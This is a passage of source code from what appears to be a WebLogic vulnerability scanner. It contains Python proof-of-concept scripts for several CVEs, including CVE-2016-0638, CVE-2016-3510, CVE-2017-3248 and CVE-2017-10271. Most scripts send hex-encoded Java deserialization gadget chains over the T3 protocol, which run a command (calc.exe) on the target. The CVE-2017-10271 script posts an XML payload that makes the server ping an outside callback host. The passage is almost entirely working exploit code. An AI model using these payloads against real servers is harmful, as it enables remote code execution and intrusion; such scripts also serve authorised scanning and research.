73 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14"])
74 |
75 | headers={"User-Agent":ua}
76 |
77 | if __name__ == '__main__':
78 | print(headers)
79 |
--------------------------------------------------------------------------------
/poc/CVE_2014_4210.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import sys
12 | import requests
13 | from config.config_requests import headers
14 |
15 |
16 | def islive(ur,port):
17 | url='http://' + str(ur)+':'+str(port)+'/uddiexplorer/'
18 | r = requests.get(url, headers=headers)
19 | return r.status_code
20 |
21 | def run(url,port):
22 | if islive(url,port)==200:
23 | u='http://' + str(url)+':'+str(port)+'/uddiexplorer/'
24 | return (1,"[+] [{}] Weblogic UDDI module is exposed! The path is: {}".format(url+':'+str(port),u))
25 | else:
26 | return (0,"[-] [{}] Weblogic UDDI module default path does not exist!".format(url+':'+str(port)))
27 |
28 | if __name__=="__main__":
29 | url = sys.argv[1]
30 | port = int(sys.argv[2])
31 | run(url,port)
32 |
--------------------------------------------------------------------------------
/poc/CVE_2016_0638.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import socket
12 | import sys
13 | import time
14 | import re
15 |
16 |
17 | VUL=['CVE-2016-0638']
18 | PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78']
19 | VER_SIG=['weblogic.jms.common.StreamMessageImpl']
20 |
21 | def t3handshake(sock,server_addr):
22 | sock.connect(server_addr)
23 | sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
24 | time.sleep(1)
25 | sock.recv(1024)
26 |
27 | def buildT3RequestObject(sock,rport):
28 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
29 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
30 | data3 = '1a7727000d3234322e323134'
31 | data4 = '2e312e32353461863d1d0000000078'
32 | for d in [data1,data2,data3,data4]:
33 | sock.send(bytes.fromhex(d))
34 | time.sleep(2)
35 |
36 | def sendEvilObjData(sock,data):
37 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
38 | payload+=data
39 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
40 | payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
41 | sock.send(bytes.fromhex(payload))
42 | res = ''
43 | try:
44 | count = 0
45 | while count<5:
46 | res += sock.recv(4096).decode("utf8","ignore")
47 | time.sleep(0.1)
48 | count += 1
49 | except Exception:
50 | pass
51 | return res
52 |
53 | def checkVul(res,rip,rport):
54 | p=re.findall(VER_SIG[0], res, re.S)
55 | if len(p)>0:
56 | return (1,'[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(rip+':'+str(rport),VUL[0]))
57 | else:
58 | return (0,"[-] [{}] weblogic not detected {}".format(rip+':'+str(rport),VUL[0]))
59 |
60 |
61 | def run(rip,rport):
62 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63 | sock.settimeout(10)
64 | server_addr = (rip, rport)
65 | t3handshake(sock,server_addr)
66 | buildT3RequestObject(sock,rport)
67 | rs=sendEvilObjData(sock,PAYLOAD[0])
68 | return checkVul(rs,rip,rport)
69 |
70 | if __name__=="__main__":
71 | dip = sys.argv[1]
72 | dport = int(sys.argv[2])
73 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/CVE_2016_3510.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import socket
12 | import sys
13 | import time
14 | import re
15 |
16 |
17 | VUL=['CVE-2016-3510']
18 | PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78']
19 | VER_SIG=['org.apache.commons.collections.functors.InvokerTransformer']
20 |
21 | def t3handshake(sock,server_addr):
22 | sock.connect(server_addr)
23 | sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
24 | time.sleep(1)
25 | sock.recv(1024)
26 |
27 | def buildT3RequestObject(sock,rport):
28 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
29 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
30 | data3 = '1a7727000d3234322e323134'
31 | data4 = '2e312e32353461863d1d0000000078'
32 | for d in [data1,data2,data3,data4]:
33 | sock.send(bytes.fromhex(d))
34 | time.sleep(2)
35 |
36 | def sendEvilObjData(sock,data):
37 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
38 | payload+=data
39 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
40 | payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
41 | sock.send(bytes.fromhex(payload))
42 | res = ''
43 | try:
44 | count = 0
45 | while count<5:
46 | res += sock.recv(4096).decode("utf8","ignore")
47 | time.sleep(0.1)
48 | count += 1
49 | except Exception:
50 | pass
51 | return res
52 |
53 | def checkVul(res,rip,rport):
54 | p=re.findall(VER_SIG[0], res, re.S)
55 | if len(p)>0:
56 | return (1,'[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(rip+':'+str(rport),VUL[0]))
57 | else:
58 | return (0,'[-] [{}] weblogic not detected {}'.format(rip+':'+str(rport),VUL[0]))
59 |
60 |
61 | def run(rip,rport):
62 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63 | sock.settimeout(10)
64 | server_addr = (rip, rport)
65 | t3handshake(sock,server_addr)
66 | buildT3RequestObject(sock,rport)
67 | rs=sendEvilObjData(sock,PAYLOAD[0])
68 | return checkVul(rs,rip,rport)
69 |
70 | if __name__=="__main__":
71 | dip = sys.argv[1]
72 | dport = int(sys.argv[2])
73 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/CVE_2017_10271.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import sys
12 | import requests
13 | import re
14 | from config.config_requests import ua
15 |
16 | VUL=['CVE-2017-10271']
17 | headers = {
18 | "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
19 | "User-Agent":ua,
20 | "Content-Type":"text/xml"
21 | }
22 | def poc(u):
23 | url = "http://" + u
24 | url += '/wls-wsat/CoordinatorPortType'
25 | post_str = '''
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | /usr/sbin/ping
34 |
35 |
36 | ceye.com
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 | '''
47 |
48 | try:
49 | response = requests.post(url, data=post_str, verify=False, timeout=5, headers=headers)
50 | response = response.text
51 | response = re.search(r"\.*\<\/faultstring\>", response).group(0)
52 | except Exception:
53 | response = ""
54 |
55 | if 'java.lang.ProcessBuilder' in response or "0" in response:
56 | return (1, '[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(u, VUL[0]))
57 | else:
58 | return (0, '[-] [{}] weblogic not detected {}'.format(u, VUL[0]))
59 |
60 |
61 | def run(rip,rport):
62 | url=rip+':'+str(rport)
63 | return poc(url)
64 |
65 | if __name__ == '__main__':
66 | dip = sys.argv[1]
67 | dport = int(sys.argv[2])
68 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/CVE_2017_3248.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import socket
12 | import sys
13 | import time
14 | import re
15 |
16 | VUL=['CVE-2017-3248']
17 | PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78']
18 | VER_SIG=['\\$Proxy[0-9]+']
19 |
20 |
21 | def t3handshake(sock,server_addr):
22 | sock.connect(server_addr)
23 | sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
24 | time.sleep(1)
25 | sock.recv(1024)
26 |
27 | def buildT3RequestObject(sock,rport):
28 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
